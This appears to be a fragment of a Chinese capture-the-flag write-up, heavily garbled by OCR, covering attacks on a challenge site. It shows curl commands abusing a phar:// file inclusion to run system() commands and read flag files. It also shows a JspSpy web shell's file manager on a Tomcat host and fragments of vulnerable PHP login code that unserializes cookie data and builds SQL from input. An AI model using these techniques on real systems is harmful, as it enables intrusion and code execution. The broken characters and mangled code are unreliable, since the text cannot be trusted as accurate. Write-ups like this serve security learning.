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.passwd admin;

passwd admin;
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= end(
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fl#& —/ bendawang.php, BA—H)1E, REESK bdw.zip , Z/GEN bdw.jpg , A%, KRGV
i1 http://web2.08067.me/include.php?file=phar://upload/bdw.jpg/bendawang , 1T :

root@localhost:~# curl -d "a=system('ls');" "http://web2.08067.me/include.php?fi
le=phar://upload/bdw. jpg/bendawang”
<html>
Tips: the parameter is file! :)
-- upload.php --=

clude.php
index.html
swWwpu_wbe2_ tips.txt
upload
upload.php

root@localhost:~# curl -d "a=system('cat swpu wbe2 tips.txt');" "http://web2.880
67.mefinclude.php?file=phar://upload/bdw. jpg/bendawang"
<html=
Tips: the parameter is file! :)
- upload.php -->
</html=
flag{this _is fl@g 1}
tomcat.08067.me
flag2 have stored in root.
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tomcat.08067.me (127.0.1.1) | copy JspSpy Ver: 2009 Private

File Manager - Current disk "I” total {unknow)

Current Directory [Warfibitomcateiwebapps/ROOT GO
Web Root | Shel Directory | New Directory | New Fie | Diski/) [P — =3
Name Last Modified Size ReadiWrite/Execute
= GotoParent
0 METAINE 2016-10-12 11:46:49 - true J false § unknow Del | Move | Back
aisp 2016-10-29 06:15:25 0B rue / false | unknow Edit | Down | Copy | Move | Property | Enter | Pack
Dbisp 2016-10-29 06:17:21 114K true J false § unknow Edit | Down | Copy | Move | Property | Enter | Pack
cisp 2016-10-29 06:22:22 19K rue  false { unknow Edit | Down | Copy | Move | Broperty | Enter | Pack
disp 2016-10-29 06:27:08 135.75K rue true / unknow Edit | Down | Copy | Move | Property | Enter | Pack
elsp 2016-10-29 06:27:51 13253€ rue / false { unknow Edit | Down | Copy | Move | Property | Enter | Pack
index.html 2016-10-14 10:03:53 866K true / false / unknow Edit | Down | Copy | Mave | Property | Enter | Pack
majsp 2016-10-29 06:21:41 873K rue / false { unknow Edit | Down | Copy | Move | Property | Enter | Pack
shellpy 2016-10-29 06:12:22 146K rue / false | unknow Edit | Down | Copy | Move | Property | Enter | Pack
= = = 71 19691231 040000 08 false / false f unknow Edit
= it | Down | Copy | Move | Property | Enter | Pack
Pack Selected - Delete Selected 1 directories / 9 fles

Copyright (C) 2009 hitpJ/ww. Forf.cony’ [T00Is Net] All Rights Reserved.
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T

DEVICE=eth0

=yes

NM_CONTROLLED=yes

GATEWAY=172.16.181.2
DNS51=114.114.114.114

EAMAK TR 172.16.181.166 FFE80W M, MRIEE BRI IZHLZXAP T,

RIGFEM 7R E I, RIAFE—NadminH x

<IDOCTYPE HTML PUBLIC "-/W3C/DTD HTML 3.2 Final /EN">

<head=>

<title=Index of /admin</title>
</head=>

*ibcn:ly}
<hl>Index of fadmin</hl>

THEFE A login.php »
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B %%E common.php , EEXESD
foreach(Array(" POST"," GET"," COOKIE") as fkey){
foreach($8key as $k => §v){
if(is_array($v)){
die("hello,hacker!");

1se{
$k[0] 1='_ '?8%k = addslashes($v):55k = "";
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session_start();
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header (
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@mysql conn();

= @mysql fetch array(mysql query( ));

mysql close();
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@mysql conn();

= mysql_query( )8
= OF
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session_start();

(@

header (

0);

= addslashes( ->name);
@mysqgl _conn();

= @mysql fetch_array(mysql_query( ));
mysql close();
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->check === md5(
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->check() === 1){
->method ===
->del _msg();

( ->method ===
->del _user();

{
->msgid)

= intval( ->msgid);
@mysql _conn();

(mysql_query( A
(
0);
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0;
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mysql_close();

->userid){
= intval( ->userid);
== 1){
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0;
b
@mysqgl _conn();
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= unserialize(base64 decode( ));
->do_method();
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if(@$login==1)

{
fmysgl_conn();
$sgl = "select * from user where name='Susername’";
Sresult = Emysqlfeteharray(mysgl—guery(5$sql));
mysgl—elese();
if (lempty($result))
{
if($result[ 'passwd'] == md5($password))
{
$user cookie = '';
fuser cookie .= Sresult[ 'userid'];
$fuser cookie .= S$result['name’];
fuser_cookie .= Sresult['salt']:
$cockies = baset4 encode(f§user cookie);
//§coockies = Suser cookie;
setcookie("user",$cookies,time( )+60, "' /web/');
§ SESSION['login'] = 1;
§_SESSION[ 'user'] = Susername;
header('Location:/web/riji.php');
}
else
{
echo("<script>alert( 'Password Worng?')</script>");
}
}
else
{
echo("<script>alert( 'Username Worng?')</script>");
}
}
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